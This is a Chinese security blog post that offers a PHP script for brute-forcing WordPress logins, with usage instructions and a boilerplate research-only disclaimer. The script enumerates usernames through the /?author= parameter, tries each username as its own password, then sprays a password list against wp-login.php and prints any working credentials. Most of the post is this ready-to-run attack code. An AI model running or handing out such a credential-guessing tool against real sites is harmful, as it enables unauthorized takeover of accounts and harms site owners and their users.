跑wordpress用户密码脚本

admin 2019年5月9日11:10:06评论286 views字数 1933阅读6分26秒阅读模式
摘要

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL/?author=遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

php wordpress.php http://www.test.com  `````` <?php  set_time_limit(0);  $domain = $argv[1];  //获取用户名 for ($i=1; $i <= 10; $i++) {      $url = $domain."/?author=".$i;     $response = httprequest($url,0);     if ($response == 404) {         continue;     }     $pattern = "/author//(.*)//feed/";     preg_match($pattern, $response, $name);     $namearray[] = $name[1]; }  echo "共获取用户".count($namearray)."名用户/n";  echo "正在破解用户名与密码相同的用户:/n";  $crackname = crackpassword($namearray,"same");  $passwords = file("pass.txt");  echo "正在破解弱口令用户:/n";  if ($crackname) {     $namearray = array_diff($namearray,$crackname); }  crackpassword($namearray,$passwords);  function crackpassword($namearray,$passwords){     global $domain;     $crackname = "";     foreach ($namearray as $name) {         $url = $domain."/wp-login.php";         if ($passwords == "same") {             $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";             $pos = strpos(httprequest($url,$post),'div id="login_error"');             if ($pos === false) {                 echo "$name $name"."/n";                 $crackname[] = $name;             }         }else{             foreach ($passwords as $pass) {                 $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";                 $pos = strpos(httprequest($url,$post),'div id="login_error"');                 if ($pos === false) {                     echo "$name $pass"."/n";                 }             }         }     }     return $crackname; }   function httprequest($url,$post){     $ch = curl_init();      curl_setopt($ch, CURLOPT_URL, "$url");      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);      curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);      if($post){         curl_setopt($ch, CURLOPT_POST, 1);//post提交方式         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);     }      $output = curl_exec($ch);      $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);     curl_close($ch);       if ($httpcode == 404) {         return 404;     }else{         return $output;     } } ?> 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月9日11:10:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   跑wordpress用户密码脚本https://cn-sec.com/archives/66253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息